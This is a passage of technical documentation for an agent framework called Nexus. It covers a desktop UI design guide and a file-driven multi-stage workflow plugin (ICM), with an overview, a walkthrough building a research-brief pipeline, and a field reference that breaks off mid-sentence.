- No raw gray scales. Use
opacity-*ontext-base-content/border-base-300etc. - No modals or dialogs in the absence of a strong reason. Prefer inline reveals, collapsibles, side panels, or dedicated views.
- No routing. Views switch via
x-showdriven by a store property. - No animations beyond utility. DaisyUI
animate-pulse+ 150ms panel slides are the entire vocabulary. - No custom icon sets. Font Awesome 6 solid free only.
- No responsive / mobile layouts. Desktop-only, min ~900×720.
- No font imports. Stick to the system/Tailwind default font stack.
- No toasts/snackbars. Errors go in
alertor inline. Success is silent or a tiny inline “Copied!”. - No component abstractions until a pattern is used three times. Inline the classes.
11. Extensibility hooks
When Claude Design proposes something new, validate against these hooks so it slots into the real system:
- Is it a bus event or a Wails-bound shell method? If it changes agent state, design around an event round-trip (request → response). If it asks the OS or shell, call a
window.go.desktop.Shell.*method. - Does it need session-recall persistence? If yes, design the UI state payload and plan on
ui.state.save/ui.state.restore. - Does it touch files? Use the shell’s file portal (
input_dir,output_dir,ListFiles,PickFile). Don’t design a bespoke file picker. - Does it share with another agent? If yes, it probably belongs in
pkg/ui/shared code, not a single app. - Is it a multi-session concern? If yes, it only belongs in multi-agent / wrapper scopes — don’t back-port to single-agent shells that are session-scoped.
12. Reference quick-lookup
| Situation | Reach for |
|---|---|
| Add a list panel | §5.2 nav/list item + §3.2 spacing (256px for sessions, 224px for trees) |
| Add a new form field | §5.5 forms + §7.4 settings schema |
| Show async progress | §5.9 loading states |
| Signal something’s happening in background | animate-pulse on a status dot, loading-dots in chat |
| A destination that doesn’t exist yet | §5.8 empty states |
| Destructive action | §5.1 buttons + §8.2 hover reveal |
| Confirm a change | Don’t add a modal; use inline “Unsaved” + blur-to-save |
| Show a generated document | §5.13 markdown preview + §5.14 split editor |
| Show ranked results | §5.3 candidate card |
| Offer drag-and-drop | §5.12 drag-and-drop |
| Switch views/modes | §5.1 btn-group (three-way), or single primary/ghost toggle |
13. Glossary
| Term | Meaning in this system |
|---|---|
| Agent | A domain-specific AI workflow embedded in the desktop app. Has its own engine, UI section, and (optionally) settings schema. |
| Shell | The desktop wrapper (pkg/desktop/shell.go) that manages agents, sessions, settings, file portal. |
| Engine | The Nexus core that runs an agent’s plugins. Each agent has its own. |
| Session | One run of an agent. Can be recalled, deleted, listed per agent. |
| Bus | The event bus inside an engine. createBus(agentID) wraps Wails events into a scoped JS adapter. |
| Plugin | Composable behavior inside an engine. UI never calls plugins directly — only via bus events. |
| Input dir / output dir | Per-agent folders for file I/O, declared as settings and managed by the shell’s file portal. |
| Phase | One step in a single-agent workflow app. Sequential, gated by prior completion. |
| Artifact | A piece of output from a phase — document, epic, story, timeline, comms entry. |
| Scoped event channel | {agentID}:nexus and {agentID}:nexus.input — Wails events namespaced by agent for multi-agent isolation. |
wails-drag | CSS class applied to window chrome to make it OS-draggable. |
doc-preview | CSS class applied to rendered markdown containers. |
ICM Workflows — Overview
Nexus ships an agent loop for file-driven multi-stage workflows:
nexus.workflows.icm. The shorthand for what it does is short — a folder on
disk is your workflow — but the consequences are worth a section of its own.
This page makes the case for the feature and gives you the mental model
needed to read the walkthrough and the
plugin reference without getting lost.
What is ICM?
ICM is short for Interpretable Context Methodology (Van Clief & McDermott, arXiv:2603.16021). The methodology argues that production LLM workflows should be assembled out of small, human-reviewable contracts rather than handed off to one large, opinionated agent loop. Each step has a written brief, declared inputs, a single declared output, and validators that decide whether the step is done. The methodology is paper-shaped — the Nexus plugin gives it a runtime.
The plugin reduces the methodology to a single rule: the workflow is a folder on disk. Stages are subfolders. Contracts are markdown files with YAML frontmatter. Predicates are inline. Skills are subfolders. Artifacts land in the session directory at run time, never in the workspace.
~/work/screenplay-pipeline/
workspace.md # the brief — required, non-empty
stages/
01_outline/contract.md # YAML frontmatter + body
02_script/contract.md
03_review/contract.md
shared/skills/... # optional reusable bundles
scripts/... # optional command predicates
rubrics/... # optional LLM-judge rubrics
That folder is the entire workflow. The plugin loads + validates the
workspace at boot, derives one AgentPosture per stage, and dispatches each
stage as a sub-agent through a private delegate.Runtime whenever an
io.input arrives.
Why this deserves its own surface
A normal ReAct agent is excellent at exploratory work — give it a goal and some tools and let it churn. But three pressures push real workflows past what a single ReAct loop can hold:
- Repeatability. A research pipeline that runs every Monday morning needs the same shape every time. Free-form ReAct drift makes “the same shape” hard to guarantee.
- Reviewability. Stakeholders need to read what the agent will do before it runs, not infer it from a transcript afterward.
- Surgical iteration. When stage 3 is wrong, you want to fix stage 3 in isolation — not re-prompt a system message that drives all 7 stages.
The nexus.workflows.icm plugin solves all three by making the workflow a
literal folder you can read, diff, and ship. It also proves a deeper claim
about Nexus’s design:
A non-trivial multi-stage agent system can be expressed without writing Go. Posture registration, sub-agent dispatch, schema-validated outputs, HITL gates, loop convergence, and fan-out parallelism are already in the engine — you compose them with YAML and markdown.
This is the first plugin to combine all of them. The walkthrough exists because doing so end-to-end is a worked example for everything Nexus offers, not because the ICM plugin itself is unusually complex.
Mental model
Three vocabulary boundaries decide whether the docs read clearly.
Workspace, run, session
| Concept | Lives at | Lifespan |
|---|---|---|
| Workspace | <your workspace dir>/ (anywhere on disk) | Authored once; edits land in source control. |
| Run | <engine session>/plugins/<instance>/<runID>/ | One per io.input; ephemeral. |
| Session | ~/.nexus/sessions/<id>/ | One engine boot. |
The workspace is the source of truth for the workflow; the run directory is the source of truth for the artifacts. Edits to the workspace are authoring; edits to a run directory are tampering. Treating them as different objects is the single biggest reason the plugin’s surface stays simple.
Stage, iteration, turn, item
A stage is one folder with one contract.md. Inside a stage’s lifetime
three nested loops are possible:
- Turns — the inner conversation.
turns.policy: fixed | until_valid | until_human_approves. A turn is one LLM call within a single stage invocation. - Iterations — convergence loops.
loop.max_iterations: Nwithuntilpredicates. The entire stage runs as a fresh invocation each iteration, with the prior iteration’s exit failures included in the next payload. - Items — data-driven fan-out.
fan_out.source: ...points at a JSON array produced by an earlier stage; the stage runs once per item, up tomax_parallelconcurrently.
Turns sit inside iterations, iterations sit inside the stage, and fan-out is the stage being dispatched once per item. You almost never mix all three in a single stage — but the orchestrator supports it because fan-out + loop composes cleanly (each item independently iterates).
Posture, delegate, predicate
These are reused engine concepts; ICM does not reinvent any of them.
- Posture —
pkg/posture.AgentPosturefromnexus.agent.postures. ICM derives one per stage atReady(), layering operator prompt + body- overlay + tools + budget on top of a base posture, then registers it.
- Delegate —
pkg/delegate.Runtime. The same primitivedelegateplugin uses to dispatch sub-agents. ICM keeps its own privatedelegate.Runtimeso workflow stages don’t pollute caller tool budgets. - Predicate — the unified shape used by
output.validators,loop.until, and verifier outputs. Six types:schema,regex,native,command,llm,human. The loader compiles each at boot.
If you’ve configured postures + delegate + HITL + the schema registry before, ICM should feel like wiring those four together into a single user surface.
What ICM is not
It is not a replacement for nexus.agent.react or
nexus.agent.orchestrator. They solve different problems:
| Need | Use |
|---|---|
| Open-ended exploration with tools | nexus.agent.react |
| Decompose-then-parallelize one big request | nexus.agent.orchestrator |
| Plan first, then execute the plan | nexus.agent.planexec |
| Same N-step shape every time, reviewable in source control | nexus.workflows.icm |
| Embed a workflow inside a desktop app | ICM as the agent loop, your shell as the chrome |
It is not a new abstraction over LLM providers. Every model call routes
through delegate (sub-agents) or through the configured judge posture
(LLM predicates). It does not mutate the workspace — artifacts live in the
session. It does not auto-discover skills from nexus.skills.scan_paths —
skills live under the workspace and are loaded only when a stage’s
inputs.skills references them.
What you get out of the box
The plugin is fully implemented today. The walkthrough exercises everything in this list:
- Workspace + contract loader with aggregated validation errors (boot once to see every problem, fix in one pass).
- One derived
AgentPostureper stage, registered before the engine finishes boot. Tools, model role, budget, and operator prompt are baked in. - Stage-level
plan.created+plan.progresssurface so generic UIs render the workflow without ICM-specific knowledge, plus a richericm.*event family for iteration / turn / item detail. - Six predicate types with four shipped native handlers
(
word_count_under,word_count_over,contains_required_ids,json_path_exists). - Loop convergence with
on_exhausted: human_gate | errorand a configurable restart ceiling. - Fan-out with optional parallelism, per-item folders, and an aggregate artifact downstream stages can reference.
- Per-workspace skill resolution (
stages/<NN>/skills/<name>wins overshared/skills/<name>) plus an LLM-facingread_skill_referencetool that surfaces only when a stage actually uses skills. - Multi-instance support via
nexus.workflows.icm/<suffix>so two workspaces can coexist in one engine.
Authoring tools
You do not need to write contracts by hand. The repo ships a Claude Code skill that interviews you about the workflow you want, validates each answer against the loader’s rules, and writes a workspace that loads on the first try:
.claude/skills/icm-workspace-builder/SKILL.md— invoke with/icm-workspace-builderonce the skills plugin is configured to scan.claude/skills/. The skill enforces the same rules the loader does (folder regex, reserved00_input, predicate args, fan-out sources).
The walkthrough is hand-authored so you can read every file; the skill is the on-ramp for everything else.
Where to go next
- End-to-end walkthrough — build a real workspace from an empty folder, run it, watch the events, inspect the artifacts.
- Plugin reference — every field on every block, every event, every troubleshooting case.
- Configuration reference — every plugin config key with defaults.
- Postures — the base postures stages inherit from.
- Sub-agent delegation — the dispatch primitive ICM stands on.
- HITL — where every human gate is routed.
ICM Workflows — End-to-End Walkthrough
This page builds a working ICM workspace from an empty folder, runs it through Nexus, and shows you exactly what to expect at each step: the events that fire, the files that land on disk, the human gates that pause the run, and the failure modes that bite first-time authors.
The example is a two-stage research brief pipeline. Stage 1 produces an outline from a topic; stage 2 expands the outline into a brief, looping until the brief passes a word-count rubric. It is deliberately small enough to fit on one screen and deliberately rich enough to exercise loops, predicates, human gates, and the full event surface.
By the end of this walkthrough you will have:
- A working workspace under
~/work/research-brief/. - A Nexus config that wires posture + delegate + HITL + ICM.
- A
bin/nexussession that runs the workflow end-to-end against a real LLM provider. - Familiarity with the exact
icm.*events that drive any UI you build on top.
If you only want to read the surface area, the overview is the conceptual map and the plugin reference is the field-by-field manual. This page sits between them.
Prerequisites
You need:
- A built
bin/nexus. From the repo root:make build. - An LLM provider API key in env or a
.envfile. The walkthrough usesANTHROPIC_API_KEY; switch toOPENAI_API_KEYorGEMINI_API_KEYif you prefer — the workspace itself is provider-agnostic because every stage names amodel_role, not a raw model. - A place to put the workspace. The walkthrough uses
~/work/research-brief/; adjust paths as needed.
You do not need an existing posture library. Step 1 below ships a minimal two-posture file you can copy into place.
Step 1 — Provision postures
ICM derives one posture per stage at boot, but each derived posture inherits
from a base posture registered with nexus.agent.postures. Wire a
minimal two-posture library so the workflow has somewhere to stand:
mkdir -p ~/.nexus/postures
~/.nexus/postures/writer_base.yaml:
name: writer_base
description: Long-form writing posture for ICM stages.
system_prompt: |
You are a writer. Follow the stage contract exactly. Produce one
artifact in the format the contract specifies. Do not add
commentary outside the artifact.
allowed_tools: []
model:
model_role: writer
default_budget:
timeout: 180s
max_tokens: 8000
~/.nexus/postures/judge_basic.yaml:
name: judge_basic
description: JSON-verdict judge for ICM `type: llm` predicates.
system_prompt: |
You judge an artifact against a rubric and return a JSON verdict.
Output only JSON conforming to the icm.judge.response schema.
allowed_tools: []
model:
model_role: judge
default_budget:
timeout: 60s
max_tokens: 2000
The names matter — the workspace references them by name. The model_role
fields route to whatever your core.models config maps writer and
judge to. A single-provider setup with one model is fine; map both roles
to the same model entry.
Step 2 — Author the workspace
Create the workspace folder. Every path inside is required unless flagged optional.
mkdir -p ~/work/research-brief/stages/01_outline
mkdir -p ~/work/research-brief/stages/02_brief
mkdir -p ~/work/research-brief/rubrics
Workspace brief
~/work/research-brief/workspace.md:
# Research Brief Pipeline
A two-stage research pipeline. Stage 1 reads a topic and produces a
five-point outline. Stage 2 expands the outline into a brief between
600 and 1200 words. The brief loops until a writer-judge agrees it
covers every outline point.
Required, non-empty. Shows up at the top of every operator prompt so the stage agent knows where it sits in the larger workflow.
Workspace defaults
~/work/research-brief/icm.yaml is optional but useful for shared
defaults:
defaults:
agent:
posture: writer_base
model_role: writer
judge_posture: judge_basic
Anything a stage doesn’t override falls back here, then to plugin defaults.
Stage 1 — outline
~/work/research-brief/stages/01_outline/contract.md:
---
display: Outline the brief in five bullets
turns:
policy: fixed
max: 1
human_gate: end
output:
format: text
filename: outline.md
validators:
- type: native
handler: contains_required_ids
args:
ids: ["1.", "2.", "3.", "4.", "5."]
inputs:
artifacts:
- 00_input/topic.txt
---
Read the topic in `<artifact path="00_input/topic.txt"/>`. Produce a
markdown outline with exactly five numbered points. Each point is one
sentence. No prose around the list.
What this does:
turns.policy: fixed, max: 1— one LLM call, no retry.human_gate: end— pause after the artifact is written so the human can approve before stage 2 starts.contains_required_idsvalidator — refuses any output that drops one of the five numbered points. Withoutuntil_validsemantics this just surfaces asicm.predicate.failed; we keep it for visibility.inputs.artifacts: 00_input/topic.txt— the reserved00_inputnamespace is whereio.inputcontent lands.
Stage 2 — brief
~/work/research-brief/stages/02_brief/contract.md:
---
display: Expand the outline into a 600-1200 word brief
turns:
policy: until_valid
max: 3
human_gate: end
output:
format: text
filename: brief.md
validators:
- type: native
handler: word_count_over
args:
min_words: 600
- type: native
handler: word_count_under
args:
max_words: 1200
loop:
max_iterations: 3
until:
- type: llm
rubric: rubrics/coverage.md
on_exhausted: human_gate
inputs:
artifacts:
- 01_outline/outline.md
agent:
budget:
max_tokens: 4000
---
Expand the outline in `<artifact path="01_outline/outline.md"/>` into a
research brief between 600 and 1200 words. Cover every outline point.
Use a brief introduction, one paragraph per point, and a one-sentence
conclusion. Markdown allowed.
This stage exercises three loops at once:
- Turns —
until_validretries up to 3 times within an iteration if the word-count validators fail. The retry payload includes the prior attempt’s failure feedback. - Iterations —
loop.max_iterations: 3reruns the entire stage if thecoverage.mdLLM rubric is not satisfied. Each iteration writes its artifact to02_brief/iter_NN/brief.md. - Human gate —
human_gate: endpauses after the loop exits so the human can approve, restart, or fail.
Rubric
~/work/research-brief/rubrics/coverage.md:
The brief passes coverage when every numbered point in the outline is
addressed in its own paragraph. A point that is mentioned but not
expanded is a failure. Return JSON only.
The judge posture (judge_basic) sees this rubric plus the candidate
artifact and must return JSON conforming to the baked-in
icm.judge.response schema (verdict + score + feedback).
Step 3 — Wire the Nexus config
~/work/research-brief.yaml:
core:
models:
default: writer
writer:
provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 8192
judge:
provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 2048
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.postures
- nexus.agent.delegate
- nexus.control.hitl
- nexus.memory.capped
- nexus.workflows.icm
nexus.agent.postures:
scan_dirs:
- ~/.nexus/postures
nexus.workflows.icm:
workspace: ~/work/research-brief
default_judge_posture: judge_basic
default_workflow_posture: writer_base
Note what’s not here: no nexus.agent.react, no
nexus.agent.orchestrator, no separate planner. ICM is itself the agent
loop — when io.input arrives it owns the conversation until the run
completes.
Two config details worth double-checking before you run:
- The
provider:value in eachcore.modelsentry takes the full plugin ID (nexus.llm.anthropic), not a short name likeanthropic. Wrong provider IDs surface at runtime as “delegate status error: no LLM response (provider not active for this role?)”. - Every role a posture references must be defined. The
writer_baseposture above declaresmodel_role: writer, andjudge_basicdeclaresmodel_role: judge, socore.modelsmust define both.
Step 4 — Run it
Start the TUI:
bin/nexus -config ~/work/research-brief.yaml
At the prompt, type a topic — the economics of mechanical keyboards,
say — and hit enter.
You will see this sequence of events. The TUI renders the plan progress inline; richer UIs subscribe to the typed events documented in the plugin reference.
io.input { content: "the economics of mechanical keyboards" }
plan.created { steps: 2 (01_outline, 02_brief) }
icm.run.started { run_id: r_<id>, stages: 2 }
plan.progress { step: 01_outline, status: active }
icm.stage.started { stage_id: 01_outline, order: 1 }
llm.request → llm.response (stage 1 turn 1)
icm.turn { stage_id: 01_outline, turn: 1 }
hitl.requested { action: icm.stage.end, stage_id: 01_outline }
The run pauses at hitl.requested. The TUI surfaces a prompt with three
choices: continue, restart this stage, abort the run. Press
continue.
hitl.responded { action: icm.stage.end, choice: continue }
plan.progress { step: 01_outline, status: completed }
icm.stage.completed { stage_id: 01_outline, artifact_path: ... }
plan.progress { step: 02_brief, status: active }
icm.stage.started { stage_id: 02_brief, order: 2 }
icm.stage.iteration { iteration: 1, max: 3 }
llm.request → llm.response (stage 2 iter 1 turn 1)
If stage 2’s first attempt is under 600 words, the until_valid retry
fires inside the same iteration. If three turns can’t satisfy the word
count, the iteration writes its best attempt to 02_brief/iter_01/brief.md
and the LLM judge runs against the coverage.md rubric. If the judge says
no, iteration 2 starts.
What if the loop exhausts?
Likely on the first run. The coverage.md rubric in this walkthrough
is deliberately strict — “every numbered point in the outline is
addressed in its own paragraph” — and small judge models often read
that too literally and reject an otherwise fine brief. When the loop
hits loop.max_iterations: 3 without converging, on_exhausted: human_gate fires a HITL prompt:
Loop on stage Expand the outline... did not converge after 3 iterations.
1. Accept handoff — take the last iteration's brief as the artifact
2. Restart loop — wipe iter_*/, run the whole loop again
3. Reject — fail the stage and halt the run
Pick Accept handoff if the actual brief reads well. The judge being picky shouldn’t gate you. Before deciding, inspect the per-iteration artifacts and the judge’s verdicts on disk:
ls ~/.nexus/sessions/*/plugins/nexus.workflows.icm/r_*/02_brief/iter_*/
cat ~/.nexus/sessions/*/plugins/nexus.workflows.icm/r_*/02_brief/iter_03/brief.md.icm.json
The .icm.json sidecar carries each iteration’s verdict + feedback
so you can tell whether the brief is genuinely weak or the rubric is
unreasonable. If you keep hitting this every run, three knobs (in
ascending effort):
- Loosen the rubric in
rubrics/coverage.md— “each outline point is addressed somewhere in the body; interleaved coverage is fine.” - Use a stronger judge — point the
judgemodel_roleat a more capable model. Judge calls are single-shot, so cost impact is small. - Drop the LLM rubric from
loop.untiland keep only the word-count native validators. Move the LLM check to averifiers/entry instead — failures get logged but don’t loop.
When the loop exits — convergent or exhausted-then-accepted —
human_gate: end fires again. Approve, and:
icm.stage.completed { stage_id: 02_brief, iterations_run: 2, convergence_failed: false }
icm.run.completed { stages_run: 2, elapsed_seconds: 47 }
Step 5 — Inspect the run
Every artifact, every iteration, and every per-artifact sidecar lives in
the engine session under
<session>/plugins/nexus.workflows.icm/<runID>/:
~/.nexus/sessions/<sid>/plugins/nexus.workflows.icm/r_<runID>/
.icm/
run.json # workspace path, started at, plan
state.json # per-stage progress
00_input/
topic.txt # what you typed
01_outline/
outline.md
outline.md.icm.json # sidecar: writer + validator results
02_brief/
iter_01/
brief.md
brief.md.icm.json
iter_02/
brief.md
brief.md.icm.json
brief.md # aggregate (last iteration after convergence)
brief.md.icm.json
The sidecar files (.icm.json) record which posture wrote the artifact
and which validators passed or failed. They are how downstream tooling
can answer “why did stage 2 take two iterations?” without re-reading the
artifact.
You can re-run the workflow on a different topic by sending another
io.input. ICM creates a fresh r_<runID> directory; prior runs are
untouched.
Step 6 — Watch a failure
Edit ~/work/research-brief/stages/01_outline/contract.md and change
filename: outline.md to filename: outline/v1.md. Restart Nexus.
workspace load failed (1 errors):
stages/01_outline/contract.md: output.filename must not contain path
separators (got "outline/v1.md")
ICM aggregates every validation error into one message at boot so you can fix all of them in a single pass instead of restart-fix-restart cycles. Revert the change and ICM boots cleanly.
Other failure modes worth provoking once for muscle memory:
- Duplicate stage prefix (
01_outline+01_summary) — boot fails with “duplicate stage prefix 01”. - A
type: llmpredicate with nodefault_judge_postureconfigured — runtime fails the predicate with “default_judge_posture is not configured”. - An
inputs.artifactsref to a later stage (02_brief/...inside01_outline/contract.md) — boot fails at load.
Each failure surfaces with the workspace-relative path + line number.
Step 7 — Iterate the workspace
The workflow you just built is the floor. Everything else ICM offers is incremental:
- Add a fan-out stage. Replace the brief stage’s monolithic output with
one paragraph per outline point. Produce a
topics.jsonfrom stage 1 andfan_out.source: 01_outline/topics.jsonfrom stage 2. - Add a
type: commandpredicate. Drop ascripts/lint_brief.shinto the workspace, mark it executable, and reference it from stage 2’s validators. The script reads the artifact on stdin and exits 0/non-0. - Add skills. Put a
shared/skills/house_voice/SKILL.mdunder the workspace and reference it fromstages/02_brief/contract.mdviainputs.skills: [house_voice]. The skill body inlines into the grounding; references load on demand via theread_skill_referencetool. - Add verifiers. Move the rubric check out of stage 2’s loop and into
a reusable
verifiers/coverage.md. Stages that need coverage reference it via top-levelverifiers: [coverage].
Each is one or two contract edits. The walkthrough deliberately stops short of all of them so the on-ramp stays short; the plugin reference covers each in detail.
Using the workspace builder skill
If hand-authoring contracts feels tedious, the
.claude/skills/icm-workspace-builder/SKILL.md skill interviews you for
the workflow shape and writes the workspace for you. Invoke it via the
configured Claude Code skill surface — the skill validates each answer
against the same loader rules above and produces a workspace that boots
cleanly on the first try.
What you proved
- A non-trivial agent workflow — two stages, loop convergence, an LLM
judge, native validators, a human gate, and a
00_inputinitial artifact — fit in five files under 100 lines. - The same workflow runs in any IO surface Nexus supports (TUI, browser, oneshot, wails) without a code change. Adding a new IO means activating a new plugin, not modifying the workspace.
- The
icm.*event surface plus the engine-genericplan.*events give any UI everything it needs to render workflow progress, including fan-out items and loop iterations. - The workspace is source-control-friendly — every change to the workflow is a markdown / YAML diff you can review on a PR.
Where to go next
- Overview — the rationale, the mental model, the full list of orthogonal features.
- Plugin reference — every contract field, predicate type, event payload, and troubleshooting case.
- Configuration reference — every plugin config key with defaults.
- Postures — the base postures stages inherit from.
- HITL — how human gates route.
nexus.workflows.icm
File-driven multi-stage workflow runner. A workspace is a folder on disk: each
stage is a subfolder with a YAML-fronted contract, optional grounding,
optional skills, and a declared output. The plugin loads + validates the
workspace at boot, registers one AgentPosture per stage, and dispatches each
stage as a sub-agent via a private delegate.Runtime whenever an io.input
arrives.
Source:
plugins/workflows/icm/. New to ICM? Start with the overview for the rationale + mental model, then follow the end-to-end walkthrough to build a workspace from scratch. This page is the field-by-field reference. Configuration table: configuration reference.
Overview
ICM (Interpretable Context Methodology, Van Clief & McDermott, arXiv:2603.16021) treats an LLM workflow as a sequence of small, human-reviewable contracts rather than one big agent loop. The Nexus implementation reduces a workspace to disk structure: the loader parses contracts, compiles regex + gojq + JSON-schema at load time, and the orchestrator dispatches stages strictly in folder-numeric order.
What the plugin does:
- Resolves
posture.registry(provided bynexus.agent.postures) at boot. - Loads + validates the workspace; aggregates errors so the user can fix in one pass.
- Derives one
AgentPostureper stage and per verifier; tools, model role, budget, and operator prompt are baked in at registration. - Subscribes to
io.input. Each input begins a fresh run with its own<runID>directory under the plugin’s data dir. - Dispatches stages as sub-agents through a private
delegate.Runtime. Stages never talk to one another — they read declared inputs and write declared outputs through the session helper. - Emits a stage-level
plan.created+plan.progresssurface plus a richericm.*event family for iteration / turn / fan-out detail. - Routes every human checkpoint through
hitl.requested; cancellation is surfaced viahitl.cancel.
What the plugin does NOT do:
- It does not directly call an LLM provider. Every model call routes through
delegate(sub-agents) or through the configured judge posture (LLM predicates). - It does not mutate the workspace. Artifacts live in the session directory.
- It does not auto-discover skills. Skills are loaded from the stage-local
skills/andshared/skills/folders inside the workspace.
Quick start
- Add the plugin to
plugins.activeand point it at a workspace.
plugins:
active:
- nexus.agent.postures
- nexus.control.hitl
- nexus.workflows.icm
nexus.workflows.icm:
workspace: ~/work/screenplay-pipeline
default_judge_posture: judge_strict
default_workflow_posture: workflow_base
- Scaffold the workspace. Below is a working three-stage screenplay pipeline. Every file shown is necessary; everything else is optional.
~/work/screenplay-pipeline/
workspace.md
stages/
01_outline/
contract.md
02_script/
contract.md
03_review/
contract.md
workspace.md — required, non-empty. Describes the workflow at the highest
level. Surfaces to the operator prompt and to anyone reading the folder.
# Screenplay Pipeline
A three-stage pipeline that converts a one-line premise into a short-form
screenplay: outline, draft, peer review. Each stage hands a single artifact
to the next; humans gate the start and end of every stage.
stages/01_outline/contract.md — YAML frontmatter then process body. The
body is rendered into the operator system prompt for this stage.
---
display: Outline a three-act structure
turns:
policy: fixed
max: 1
human_gate: end
output:
format: text
filename: outline.md
inputs:
artifacts:
- 00_input/premise.txt
agent:
model_role: writer
budget:
max_tokens: 4000
---
Read the premise in `<artifact path="00_input/premise.txt"/>`. Write a
three-act outline with beat counts per act. No prose. Markdown headings
allowed.
stages/02_script/contract.md — consumes the outline; loops up to three
times until the validator passes.
---
display: Draft the screenplay
turns:
policy: until_valid
max: 3
human_gate: end
output:
format: text
filename: script.md
validators:
- type: native
handler: word_count_over
args: { min_words: 800 }
- type: native
handler: word_count_under
args: { max_words: 2400 }
inputs:
artifacts:
- 01_outline/outline.md
agent:
model_role: writer
budget:
max_tokens: 8000
---
Expand the outline in `<artifact path="01_outline/outline.md"/>` into a
screenplay between 800 and 2400 words. Use industry-standard formatting
(INT./EXT., character names in caps before dialogue).
stages/03_review/contract.md — judges the script with an LLM rubric.
---
display: Peer review the screenplay
turns:
policy: fixed
max: 1
human_gate: none
output:
format: text
filename: review.md
validators:
- type: llm
rubric: rubrics/review_quality.md
model: judge_strict
inputs:
artifacts:
- 02_script/script.md
agent:
model_role: reviewer
---
Read the script in `<artifact path="02_script/script.md"/>`. Produce a
review covering structure, character voice, dialogue, and pacing. Be
specific; cite scene numbers.
- Start Nexus. Send the initial premise via
io.input(the engine writes it to<runID>/00_input/premise.txt). ICM creates the run, dispatches stage 01, gates at its end via HITL, then continues.
Workspace layout
The workspace is the source of truth for the workflow; artifacts are the source of truth for the run. They live in different directories.
<workspace>/
icm.yaml optional — layer name overrides + defaults
operator.md optional — Layer 0 operator prompt template
operator.overlay.md optional — appended to operator body
workspace.md required — high-level workflow description
stages/
01_<slug>/
contract.md required per stage
grounding/ optional — reference files inline at dispatch
skills/<name>/ optional — stage-local skills
02_<slug>/...
shared/
grounding/ optional — cross-stage reference files
skills/<name>/ optional — workspace-wide skills
schemas/ optional — JSON schemas referenced from contracts
scripts/ optional — command-predicate executables
rubrics/ optional — LLM-predicate rubric files
verifiers/ optional — verifier stage definitions
inputs/ optional — initial-run input fixtures
Folder-name rules enforced by the loader:
- Stage folders match
^\d+_[a-z0-9_]+$. Execution order is the numeric prefix, sorted numerically (so9_xruns before10_x). 00_inputis reserved — it names the synthetic input stage in artifact refs. Declaring a stage folder named00_inputis a load error.- Duplicate numeric prefixes (
05_foo+05_bar) are rejected: execution order would be ambiguous. - A stage folder containing an
artifacts/subdirectory is rejected. Artifacts live in the session, not the workspace.
icm.yaml
icm.yaml is optional. When present it overrides any subset of the layer
filenames and supplies workspace-level defaults that stages inherit unless
they override.
# All sections are optional.
layer_names:
operator: operator.md # default
workspace: workspace.md # default
contract: contract.md # default
grounding: grounding # default (folder name)
defaults:
turn_policy: fixed # fixed | until_valid | until_human_approves
human_gate: none # none | start | end | both
on_error: halt # halt | retry | human_gate
judge_posture: judge_basic # used for type: llm predicates with no `model:`
agent:
posture: workflow_base # base posture each stage inherits
model_role: writer
tools: [read_file]
budget:
timeout_seconds: 120
max_tokens: 8000
max_tool_calls: 16
max_recursion_depth: 3
operator:
overlay: |
Always cite section numbers when referencing scripts.
The judge posture and base workflow posture can also be configured at the
plugin level (default_judge_posture, default_workflow_posture). The
plugin-level keys win when both are set.
operator.md and operator.overlay.md are rendered once per stage, at
posture-registration time — not on every turn — as a Go text/template
against OperatorTemplateCtx, which exposes .Workspace, .Stage, and
.Context: the session’s current general-namespace (non-_-prefixed) tags,
usable in the template as {{ .Context.<key> }}. Because it renders once,
.Context only reflects the tags set by the time the workspace loads — a tag
written mid-run needs the per-turn <session_context> block described in
XML payload reference, not operator.md, to reach
a stage that has already started. See
Session Tags for the reserved-prefix rule
.Context shares with every other consumer of session tags.
Stage contracts
Each stage is a single file: contract.md. It is YAML frontmatter (between
--- lines) followed by a markdown body. The body is the stage’s role
instructions — it is rendered into the operator system prompt at dispatch
time. Verifiers may be a single .md file directly under verifiers/
with the same shape.
Frontmatter
| Field | Type | Default | Notes |
|---|---|---|---|
id | string | folder name | When set, must match folder name. |
display | string | first body line or ID | Truncated to 80 chars. |
turns | object | see Turns | Inner-loop policy. |
human_gate | string | none | none / start / end / both. |
on_error | string | halt | Non-validator failure policy. |
loop | object | (none) | Convergence-driven iteration. |
fan_out | object | (none) | Data-driven iteration. |
output | object | (required) | Artifact + validators. |
inputs | object | (none) | Files the stage reads. |
agent | object | inherits | Posture + tools + budget. |
verifiers | list | (none) | Cross-stage verifier IDs. |
Output spec
output declares the file the stage writes and any validators that run
against it. Validators that fail under turns.policy: until_valid trigger
a retry; under any other policy they surface as
icm.predicate.failed and (depending on on_error) may halt the run.
output:
format: text # text (default) | json
persist: file_ref # file_ref (default) | context | both
filename: outline.md # required; no path separators
schema: schemas/outline.json # required when format: json
validators:
- type: regex
pattern: '^# '
anchor: first_line
message: "Outline must begin with an H1."
persist: file_ref writes the artifact and references it by logical
ref downstream. context keeps the body in conversation context only
(use sparingly — large bodies bloat downstream turns). both does both.
JSON outputs always parse + validate against schema before the validators
run.
Inputs
inputs declares what files the stage reads. The loader verifies each path
exists at boot.
inputs:
grounding:
- style_guide.md # under <stage>/grounding/
- examples/sample_act_1.md
shared_grounding:
- house_voice.md # under shared/grounding/
artifacts:
- 00_input/premise.txt # initial input from io.input
- 01_outline/outline.md # prior stage's declared output
skills:
- markdown-screenplay # resolved through skill precedence
Artifact refs are validated cross-stage at load: the referenced stage must
run before this one, and the filename must match that stage’s
output.filename. The reserved 00_input/... prefix points at files
copied into the session by io.input (or by workspace_inputs_dir).
Inline-vs-ref selection happens at dispatch: artifacts under
inline_artifact_limit_bytes (default 32 KiB) inline as <artifact>;
larger or binary content emits <artifact_ref/> and the LLM picks it up
via read_file.
Agent block (posture, model_role, tools, budget)
Stage-level agent fields override workspace defaults; absent fields fall through to defaults, then to the registry defaults at runtime.
agent:
posture: writer_posture # optional; existence checked at runtime
model_role: writer # role into the engine model registry
tools: # AllowedTools for this stage's posture
- read_file
- run_code
prompt_overlay: | # appended to operator body for this stage
Be concise. Bullet lists over prose.
budget:
timeout_seconds: 120
max_tokens: 8000
max_tool_calls: 16
max_recursion_depth: 3 # caps sub-agent nesting
posture is a base posture from nexus.agent.postures. ICM derives a
per-stage posture on top of it, layering operator prompt + role body +
overlay + tools + budget + skill-tool registration. The derived posture
